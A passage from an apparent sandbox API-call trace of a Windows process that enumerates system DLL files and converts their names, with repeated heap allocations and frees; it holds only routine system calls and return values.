lpUsedDefaultChar=0x0) returned 12 [0035.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0x30c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVAPI32.DLL", lpUsedDefaultChar=0x0) returned 12 [0035.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.963] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.963] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.963] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.963] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.963] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0777c0d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa0777c0d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7de49f40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ee00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="advpack.dll", cAlternateFileName="")) returned 1 [0035.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0x30c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVPACK.DLL", lpUsedDefaultChar=0x0) returned 11 [0035.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.963] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.963] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.963] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.963] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.963] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e862c71, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x5e862c71, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x7de71040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="aecache.dll", cAlternateFileName="")) returned 1 [0035.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0x30c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AECACHE.DLL", lpUsedDefaultChar=0x0) returned 11 [0035.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.964] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.964] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.964] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.964] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.964] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c6f412, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x79c6f412, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xf1f20320, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="aeevts.dll", cAlternateFileName="")) returned 1 [0035.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0035.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0x30c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AEEVTS.DLL", lpUsedDefaultChar=0x0) returned 10 [0035.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.964] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.964] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.964] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.964] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.964] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2994413f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x2994413f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e0609f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="AltTab.dll", cAlternateFileName="")) returned 1 [0035.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0035.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0x30c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALTTAB.DLL", lpUsedDefaultChar=0x0) returned 10 [0035.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.964] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.964] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.964] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.964] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.964] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a29ac8e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a29ac8e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a29ac8e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="amstream.dll", cAlternateFileName="")) returned 1 [0035.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0x30c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMSTREAM.DLL", lpUsedDefaultChar=0x0) returned 12 [0035.964] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.965] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.965] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.965] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.965] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.965] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76fcd8be, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x76fcd8be, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e0853e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="amxread.dll", cAlternateFileName="")) returned 1 [0035.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0x30c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMXREAD.DLL", lpUsedDefaultChar=0x0) returned 11 [0035.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.965] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.965] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.965] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.965] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.965] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41bceeb, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xd41bceeb, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e4d7330, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a8c00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="apds.dll", cAlternateFileName="")) returned 1 [0035.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0035.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0x30c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APDS.DLL", lpUsedDefaultChar=0x0) returned 8 [0035.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.965] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.965] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.965] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.965] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.965] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf21dc5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf21dc5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-core-console-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0035.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x30c288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-CONSOLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0035.965] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.965] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.965] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.965] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.966] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.966] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cefbc66, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cefbc66, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-core-datetime-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0035.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x30c120, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0035.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.966] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.966] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.966] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.966] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.966] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd32bf2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd32bf2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-core-debug-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0035.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x30c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0035.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.966] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.966] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.966] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.966] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.966] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-core-delayload-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0035.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.966] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x30c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0035.966] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.966] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.966] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.966] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.966] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.967] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2ccc07d5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2ccc07d5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-core-errorhandling-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0035.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x30c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0035.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.967] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.967] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.967] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.967] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.967] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd7eeb0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd7eeb0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="api-ms-win-core-fibers-l1-1-0.dll", cAlternateFileName="")) returned 1 [0035.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e8c8 [0035.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30e950 [0035.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0035.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x30c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0035.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c288 [0035.967] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.967] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c288) returned 1 [0035.967] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e950) returned 1 [0035.967] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30e8c8) returned 1 [0035.967] FindNextFileW (in: 